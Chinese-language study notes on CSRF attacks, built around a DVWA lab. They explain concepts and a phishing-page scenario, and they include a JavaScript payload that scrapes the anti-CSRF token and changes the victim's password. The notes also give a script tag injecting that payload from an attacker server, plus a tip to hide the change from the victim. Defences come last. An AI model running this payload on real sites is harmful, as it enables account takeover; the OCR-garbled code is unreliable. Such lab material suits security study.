CSRF跨站请求伪造
CSRF通常会配合XSS。
服务端错把浏览器发起的请求当成用户发起的请求,会造成XSS问题。
产生原因:
1.同上。
2.已登录的浏览器打开恶意网址后执行了相应操作。
一些概念
- 定义
攻击者利用服务器对用户的信任,从而欺骗受害者去服务器上执行受害者不知情的请求。
在csrf的攻击场景中,攻击者会伪造一个请求,然后欺骗用户进行点击,用户一旦点击攻击也就完成了,当然有时候也不需要用户点击,访问页面的时候攻击以及达成了。
- csrf与xss的区别
-
xss是利用用户对服务端的信任,而csrf是利用服务端对用户的信任。
-
xss是将恶意代码植入被攻击服务器,让脚本在用户浏览器上执行,服务器端只是脚本的载体,本身服务器端不会受到攻击利用。
-
csrf是攻击者会伪造一个用户发送给服务器的正常链接,其核心是和已登录的用户去发请求。csrf不需要知道用户的cookie,csrf自己并不会发送请求给服务器,一切交给用户。
-
csrf预先在自己用来攻击的服务器页面植入恶意代码,诱使受害者访问,在受害者不知情的情况下执行了恶意代码。攻击服务器是独立的域名或IP地址。
- 攻击要点
- 服务器没有对操作来源进行判断,如IP、referer等。
- 受害者处于登录状态,但是攻击者无法拿到cookie,也不需要cookie。
- 攻击者需要找到一条可以修改或获取敏感信息的请求。
攻击场景
Alice在购物网站X宝上修改个人资料。正常情况下修改资料的第一步是登录个人账号。 Alice登录后对相关参数进行修改:
收货姓名: Alice
收货电话: 138888888
收货地址:快乐镇233号
Alice编辑好修改的内容,点击提交,此时提交的url请求为:
http://www. xbao.com/member/edit.php?name=Alice&phone-138888888&add=快乐镇233号&submit=submit
这时候有个Bob他想要截获Alice的包裹,所以他要去修改Alice的收货地址。可是他没有Alice的账号权限, 那么他会怎么做呢?
Bob发现这个网站存在csrf漏洞;
Bob先确定Alice还处于登录状态;
接着Bob将修改个人信息的请求伪造 ,然后去引诱Alice在登录状态下点击
此时Alice提交的url请求为:
http://www.xbao.com/member/edit.php?name=Bob&phone177777777&add=邪恶村587号&submit=submit
这个请求跟正常修改请求一模一样, 而且又是Alice自己账号操作的,所以修改成功,Bob达到了攻击目的。
但倘若受害者不处于登录状态下或不在控制权限下,亦或者根本不点这个链接,攻击也不会成功。
同时,如果觉得直接发链接过于明显,容易被识破,因此可以利用工具做一个钓鱼网站引诱受害则在没有退出登录的情况下访问钓鱼页面,点击钓鱼页面中的表单,从而在不知情的情况下执行了修改信息的请求。
构造钓鱼页面
使用burp工具
点击copy html,复制出来以后放到一个攻击服务器上例如:192.168.112.183/csrf.html
再用登录了dvwa的账号去访问该页面,点击submit,服务器就会请求修改密码,则密码就改了。
还可以结合xss漏洞使用。
但倘若服务器修改之前,先检查请求是谁发起的,修改就可能失败,即
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
stripos():查找字符串在另一字符串中第一次出现的位置,即SERVER_NAME需要在HTTP_REFERER中。
解决办法:
为了构造一个有效的Referer,可以在攻击服务器上创建-个新的HTML页面,并命名为: change.192.168.112.188.html,但有时候表单提交时会不带文件名,而改成超链接则会显示文件名。
改完之后记得收尾,不要让用户得知自己的密码被改掉了。
token校验机制
在请求修改密码时,请求头包括了user_token。
什么时token?
user_token的生成机制类似session id,但更加多样化,每一次都会发生变化,可以任意定制而不需要依赖应用服务器本身的约束,甚至可以完整处理无状态请求并且还能保持请求被验证。
token与session相同的地方:
虽然上图的流程相同,但内涵的处理逻辑不同,比如session通过保存到服务器来检验,而token很可能直接解密来进行校验,具体看token的实现方式。
token与session不同的地方:
Token很灵活,可以是一 段用户名+服务 器时间、用户ID+网卡Mac、 用户名+签名的加密字符串,也可以是一段随机值, 可以有特定的有效期,也可以每一个请求都不一 样。token的加密可以使用对称加密, 也可以使用非对称加密,完全取决于Token认证服务器的业务需要。
单点登录/一站式登录:在一个系统上登录之后,其他的系统也可以访问。
要实现单点登录,可以通过session共享,不过比较麻烦,第二种方式则是基于token。
登录各个系统时携带token,使用统一的认证服务。
同时,session的状态维持通常时基于请求的cookie字段完成的,而token则可以选择维持状态,也可以选择不维持状态。token的值通常直接放在get请求或者post请求的参数中发给服务器,而不是请求头的cookie中。
存储型Token或Session:消耗存储空间,但是不消耗解密的CPU资源。
解密型Token:不消耗存储空间,但是消耗CPU资源进行解密运算(通常使用对称加密,非对称加密消耗资源更多)。
如何绕过token?
过关方案的核心在于要发送请求给http://192.168.112.188/dvwa/vulnerabilities/csrf/页面,
然后从响应中取得Token (通过正则表达式可以提取出来),
取得后再将Token和新密码一 起发送给
http://192.168.112.188/dvwa/vulnerabilities/csrf/?user_token=TOKEN&password_new=PASS&password_conf=PASS&Change=Change’ 页面完成密码修改。
先构造一个JavaScript原生代码发送ajax请求的代码
var tokenUr1 = 'http://192 .168.112.188/dvwa/vulner abilities/csrf/';
var count = 0;
//实例化XLHttpRequest, 用于发送AJAX请求
xmlhttp = new XMLHttpRequest() ;
//当请求的状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function() {
//状态码: 0: 请求未初始化,1:服务器连接已建立,2:请求已接收,3:请求处理中,4:请求已完成,且响应已就绪
if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
{
//取得请求的响应,并从响应中通过正则提取Token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \\>/;司 I
var match = text . match(regex);
// alert (match[1]);
var token = match[1];
//发送修改密码的语法
var changeUrl = ' http://192.168.112.188/dvwa/vulner abilities/csrf/?user.token=' +token+"&password_new=test123&password.conf=test123&Change=Change';
if (count == 0) {
count = 1;
// 只发送一-次,否则会多次发送
xmlhttp.open("GET",changeUrl,false);//flase代表同步发送
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl, false);
xmlhttp.send();
将上述JavaScript代码放置于攻击服务器上
再想办法将js攻击代码(链接)嵌入到被攻击服务器上即可,
<script src='http://192.168.112.183/csrf.js?'+math.random()></script>
但high级别无法实现,因为过滤了
但我们可以通过先切换但low级注入上述脚本,再切换但high级,直接触发改密。
补充一下:
如何防御csrf漏洞
- 避免在url中明文显示特定的操作的参数内容
- 使用token,检查客户端请求是否包含令牌及其有效性(保证token的值完全随机)
- 检查referer header,拒绝来自非本站网站的直接url请求。
- 不要在客户端保存敏感信息(比如身份认证信息)
- 设置会话过期机制,比如20分钟无操作直接登录超时退出
- 敏感信息修改时二次确认身份,比如修改账号时判断旧密码
- 敏感信息修改使用post而不是get
- 避免交叉漏洞,如xss
- 禁止跨域访问
- 在响应中设置csp内容安全策略。
如何检测:
1.去掉token参数尝试能够正常请求 if($_SERVICE[‘HTTP _REFRER’] != $host) {return false;}
2.去掉referer是否能够提交成功 if ( P O S T [ ′ t o k e n ′ ] ! = _POST['token']!= POST[′token′]!=token) {return false;}
3.能否用GET代替POST提交 if ($_ POST[‘verify_code’] != $verify_code) {return false;}
若以上都存在,则存在漏洞。
本文参考自
https://www.bilibili.com/video/BV1bu411S7wJ/?spm_id_from=333.999.0.0
(bilibili 蜗牛学苑 134-137节)